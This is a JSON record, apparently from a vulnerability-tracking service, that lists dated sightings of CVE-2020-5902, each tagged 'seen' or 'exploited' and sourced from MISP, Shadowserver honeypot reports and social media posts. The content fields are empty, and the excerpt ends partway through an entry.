{"vulnerability": "CVE-2020-5902", "sightings": [{"uuid": "0703b66f-d949-4412-98ee-73265a2d2c5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "MISP/453274cf-e60d-452a-b88e-0bf6a5a6dae4", "content": "", "creation_timestamp": "2020-10-13T06:50:38.000000Z"}, {"uuid": "2687dc8e-2039-4a17-8bbd-141fbb40f0b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "MISP/61df0576-0eee-435b-b4ed-89fa9b886877", "content": "", "creation_timestamp": "2020-07-06T22:00:00.000000Z"}, {"uuid": "11251e3b-fac2-43ab-bca6-8c712926aee0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "MISP/bda440c6-c948-4cfd-b98a-983123adf45b", "content": "", "creation_timestamp": "2020-09-16T07:18:42.000000Z"}, {"uuid": "c7be9361-ff0f-4fbe-9e4d-532ee514309d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "MISP/5f850411-c103-491f-abff-9421425403cf", "content": "", "creation_timestamp": "2020-10-21T08:19:09.000000Z"}, {"uuid": "d7a7f879-61be-4622-b044-e967c36ffa05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "MISP/1a52c709-c427-4575-a466-9655fb23df52", "content": "", "creation_timestamp": "2020-09-16T08:37:28.000000Z"}, {"uuid": "45ece911-74af-4c9c-b700-c87f893bb238", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "MISP/42d04e94-bf5b-427d-acc8-f5d740675941", "content": "", "creation_timestamp": "2020-10-20T15:57:21.000000Z"}, {"uuid": "33ac793c-4fa5-4444-ab84-5d1e9f22f9e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "MISP/d925a2ee-e7cf-46f6-bec1-ad8e19122730", "content": "", "creation_timestamp": "2020-10-20T15:58:05.000000Z"}, {"uuid": "57ea5afd-3786-4c85-b203-a825daa2a931", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "MISP/f5030aca-7d5a-43a4-ae03-8f4ac8e85422", "content": "", "creation_timestamp": "2021-11-08T08:58:17.000000Z"}, {"uuid": "3eff8249-59dd-4be6-9d18-5aa743bfc208", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "MISP/ada9d4f2-5145-4da3-af7a-aafe4602aa46", "content": "", "creation_timestamp": "2020-10-09T13:26:30.000000Z"}, {"uuid": "36b5ce69-0eb2-44c4-ba22-a14fd808cf20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "MISP/b14f5ca4-fb33-4da3-ad29-dcaf9e3d3fc4", "content": "", "creation_timestamp": "2020-10-09T13:24:39.000000Z"}, {"uuid": "7e621910-d3fd-4db4-ad58-40eacc1b839d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "MISP/e439b884-82c9-422e-bee5-4425a48da4c3", "content": "", "creation_timestamp": "2020-10-09T13:36:15.000000Z"}, {"uuid": "d2dfe1c7-8d87-437d-8b89-dc9bc1ee06d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2021-11-20T09:53:52.000000Z"}, {"uuid": "d61cacf5-499b-47a1-8cfa-f2b7b76660a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "MISP/6cc64859-dc9d-472e-9702-c3061488e995", "content": "", "creation_timestamp": "2020-10-09T13:24:11.000000Z"}, {"uuid": "10abcd61-0eea-4791-88d5-d7c73bd0cadc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "MISP/8bf50bb8-94dd-4004-a646-5f78db6f0b6a", "content": "", "creation_timestamp": "2022-07-13T13:02:16.000000Z"}, {"uuid": "a631468b-6546-4568-9c63-01fbd2580fa0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "MISP/f628d96f-2958-4717-91da-e86aace4925d", "content": "", "creation_timestamp": "2020-10-13T15:16:18.000000Z"}, {"uuid": "9611c61b-1de2-4fe6-8202-7a1598041ef5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "MISP/63ddead6-4b82-414c-ad8e-c516b950b446", "content": "", "creation_timestamp": "2021-10-25T22:32:42.000000Z"}, {"uuid": "d07a2a43-dd26-461c-aafb-020d8de3289b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "MISP/0f4f9667-d22d-44a1-94f5-fd5e23874a7e", "content": "", "creation_timestamp": "2024-11-14T06:09:18.000000Z"}, {"uuid": "52624de2-8606-4768-824a-58b94560646d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/2971088", "content": "", "creation_timestamp": "2024-12-24T20:24:04.549845Z"}, {"uuid": "013d1786-0a9b-4e56-92c2-53d69ef46515", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-12-24)", "content": "", "creation_timestamp": "2024-12-24T00:00:00.000000Z"}, {"uuid": "d38e1599-9c87-4d7c-8a0f-25e975c112ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-12-25)", "content": "", "creation_timestamp": "2024-12-25T00:00:00.000000Z"}, {"uuid": "8ae9e886-c230-4ecb-b272-44d7aacba364", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-10-25)", "content": "", "creation_timestamp": "2024-10-25T00:00:00.000000Z"}, {"uuid": "b7c3b0f9-3f66-4658-8daa-a6f52299a989", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:44.000000Z"}, {"uuid": "9f1c45d3-2bbc-4721-8d4c-90cfbd4dd74a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-01-29)", "content": "", "creation_timestamp": "2025-01-29T00:00:00.000000Z"}, {"uuid": "9f70f1ac-96b2-4b4c-b75b-ca9e91d3f724", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "https://bsky.app/profile/tuxpanik.bsky.social/post/3lgvflrybqn2g", "content": "", "creation_timestamp": "2025-01-29T16:34:52.368205Z"}, {"uuid": "9b297d89-e714-4c62-b3f5-91c3b29ca8e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-12-01)", "content": "", "creation_timestamp": "2024-12-01T00:00:00.000000Z"}, {"uuid": "df934121-780a-45c6-a9f7-0909d2da6b50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-12-31)", "content": "", "creation_timestamp": "2024-12-31T00:00:00.000000Z"}, {"uuid": "4729d778-9d35-4a54-a3f4-aa921aa4e7f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-01-04)", "content": "", "creation_timestamp": "2025-01-04T00:00:00.000000Z"}, {"uuid": "f260f607-de3c-4008-a6d3-4e341dd2fd34", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-01)", "content": "", "creation_timestamp": "2025-02-01T00:00:00.000000Z"}, {"uuid": "1aaa9a0a-683e-4c2b-ab2d-a48136d80ed4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-01-05)", "content": "", "creation_timestamp": "2025-01-05T00:00:00.000000Z"}, {"uuid": "61d8f305-0b3b-4ce2-9298-782b02449ed9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-30)", "content": "", "creation_timestamp": "2025-03-30T00:00:00.000000Z"}, {"uuid": "99621687-56f2-483f-b882-f5cac174ec7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-01-26)", "content": "", "creation_timestamp": "2025-01-26T00:00:00.000000Z"}, {"uuid": "be966141-4696-4128-9c61-f0e10c549fda", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-01-26)", "content": "", "creation_timestamp": "2025-01-26T00:00:00.000000Z"}, {"uuid": "d8af0987-38b2-4e3e-8d84-b75a5cbece45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-07)", "content": "", "creation_timestamp": "2025-02-07T00:00:00.000000Z"}, {"uuid": "b760e8a2-38bf-4e05-8653-4e8ece3f4b29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-15)", "content": "", "creation_timestamp": "2025-03-15T00:00:00.000000Z"}, {"uuid": "fed325de-779d-42f7-9bfd-ee2279994359", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:10:29.000000Z"}, {"uuid": "f0b8e655-82a5-4a01-bfab-8093c89c97c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-11)", "content": "", "creation_timestamp": "2025-02-11T00:00:00.000000Z"}, {"uuid": "00547647-0b7d-4c02-b378-1e6d4ca8982a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-04)", "content": "", "creation_timestamp": "2025-03-04T00:00:00.000000Z"}, {"uuid": "298447a9-3c3e-4538-ab70-80acdb46d5e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-12)", "content": "", "creation_timestamp": "2025-03-12T00:00:00.000000Z"}, {"uuid": "3c81a63a-7a68-439e-acbc-ed5a0317eb66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-13)", "content": "", "creation_timestamp": "2025-03-13T00:00:00.000000Z"}, {"uuid": "15e8d3a9-bc0d-462c-9f53-b372fd0ba977", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-07)", "content": "", "creation_timestamp": "2025-03-07T00:00:00.000000Z"}, {"uuid": "fcd066bb-b8e3-448f-acdb-432d6d542af1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "https://gist.github.com/spynika/d36f61ba985c86eb9bce7b0d4251331c", "content": "", "creation_timestamp": "2025-02-24T06:35:53.000000Z"}, {"uuid": "7ee7960a-39e1-4fd5-90d2-ccd7bd604f0d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-14)", "content": "", "creation_timestamp": "2025-03-14T00:00:00.000000Z"}, {"uuid": "32fc47f4-e913-46f7-a1df-8fd4276f7193", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-16)", "content": "", "creation_timestamp": "2025-03-16T00:00:00.000000Z"}, {"uuid": "f91054d7-c8dc-4714-bc3b-dc647b4313e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-11)", "content": "", "creation_timestamp": "2025-03-11T00:00:00.000000Z"}, {"uuid": "644704c8-ba31-46d8-ab11-e939de4e3569", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-02-23T02:09:49.000000Z"}, {"uuid": "aecdf80c-a67b-47e7-8e97-7ea9dd6c7afc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-22)", "content": "", "creation_timestamp": "2025-03-22T00:00:00.000000Z"}, {"uuid": "a096ec72-3165-466b-bd24-ac7e77210f8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-01)", "content": "", "creation_timestamp": "2025-04-01T00:00:00.000000Z"}, {"uuid": "c1ab59c2-bfc7-47e3-99de-2244bdcf5eda", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-27)", "content": "", "creation_timestamp": "2025-06-27T00:00:00.000000Z"}, {"uuid": "10f3e9a7-463c-4af4-9fe6-ca07096ca61c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-07)", "content": "", "creation_timestamp": "2025-04-07T00:00:00.000000Z"}, {"uuid": "1ab8dcaf-3679-40d6-bd37-f84f3e089a0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-24)", "content": "", "creation_timestamp": "2025-06-24T00:00:00.000000Z"}, {"uuid": "7b83a7d4-ba1a-4921-8e4b-a3c189458081", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-11)", "content": "", "creation_timestamp": "2025-04-11T00:00:00.000000Z"}, {"uuid": "4a9001c1-779c-491c-9e98-4ed82f840638", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-12)", "content": "", "creation_timestamp": "2025-04-12T00:00:00.000000Z"}, {"uuid": "fd70946d-c075-470d-a9a3-ae7ded109f87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-07-01)", "content": "", "creation_timestamp": "2025-07-01T00:00:00.000000Z"}, {"uuid": "83496de1-cbf7-497f-b51d-5d67a6a993b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2020-5902", "type": "seen", "source": "https://bsky.app/profile/securitycipher.bsky.social/post/3lr4hkuswoi2n", "content": "", "creation_timestamp": "2025-06-08T18:10:43.782810Z"}, {"uuid": "dfecd84a-86bf-4da6-bca4-f04b4dc325e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-11)", "content": "", "creation_timestamp": "2025-06-11T00:00:00.000000Z"}, {"uuid": "1e15a3e3-2f4d-4a8f-8f53-8b590b61a441", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-12)", "content": "", "creation_timestamp": "2025-07-12T00:00:00.000000Z"}, {"uuid": "83c55712-362e-43d5-8563-95a49261a7b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-03)", "content": "", "creation_timestamp": "2025-06-03T00:00:00.000000Z"}, {"uuid": "00d89cde-bae2-4d56-ad98-bd608f0d7af4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-23)", "content": "", "creation_timestamp": "2025-04-23T00:00:00.000000Z"}, {"uuid": "5bc0120f-e46a-4a4d-869f-3d3175c23eb7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "https://mastodon.social/users/hrbrmstr/statuses/114393286229683504", "content": "", "creation_timestamp": "2025-04-24T13:57:07.707930Z"}, {"uuid": "2fa485a2-44de-4569-944a-e54d7ebe3f6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-27)", "content": "", "creation_timestamp": "2025-04-27T00:00:00.000000Z"}, {"uuid": "2cd51081-0b98-4bfa-bbf4-b4e4b38c86ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-19)", "content": "", "creation_timestamp": "2025-05-19T00:00:00.000000Z"}, {"uuid": "fcf70dc6-ed87-4225-8ec7-12ea3c666cc2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-30)", "content": "", "creation_timestamp": "2025-06-30T00:00:00.000000Z"}, {"uuid": "6082980a-3ff7-4f4e-ab7a-3dbfcc1b7490", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-28)", "content": "", "creation_timestamp": "2025-04-28T00:00:00.000000Z"}, {"uuid": "4cef2c0f-0b15-4fc0-a646-d45fb5b8e372", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-29)", "content": "", "creation_timestamp": "2025-04-29T00:00:00.000000Z"}, {"uuid": "37ccd8b3-2af4-44ae-aeb4-2352614509ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-30)", "content": "", "creation_timestamp": "2025-04-30T00:00:00.000000Z"}, {"uuid": "10b45354-b2ae-4e1e-8aec-d004390ecae5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-14)", "content": "", "creation_timestamp": "2025-06-14T00:00:00.000000Z"}, {"uuid": "13e0ec8e-7f91-4ba7-9682-2ebae798159e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-01)", "content": "", "creation_timestamp": "2025-05-01T00:00:00.000000Z"}, {"uuid": "1a734c73-072a-40f5-9c96-106fb3b7cc69", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-02)", "content": "", "creation_timestamp": "2025-05-02T00:00:00.000000Z"}, {"uuid": "0af93379-6c7b-4c2a-999b-10604be24fe5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-17)", "content": "", "creation_timestamp": "2025-05-17T00:00:00.000000Z"}, {"uuid": "f463294f-e0aa-40b3-931b-af70029600fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-25)", "content": "", "creation_timestamp": "2025-06-25T00:00:00.000000Z"}, {"uuid": "f12fdcf2-989e-43d0-aee0-edf3889d5ad3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-09)", "content": "", "creation_timestamp": "2025-07-09T00:00:00.000000Z"}, {"uuid": "7c7f4e39-7a81-4833-b15e-cef3e0253c5d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-13)", "content": "", "creation_timestamp": "2025-05-13T00:00:00.000000Z"}, {"uuid": "1cf7dc64-e193-4506-9782-dfb43fa0798f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-09-24)", "content": "", "creation_timestamp": "2025-09-24T00:00:00.000000Z"}, {"uuid": "b99e13ac-3a1a-48b2-bb79-3bf803d2e596", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-16)", 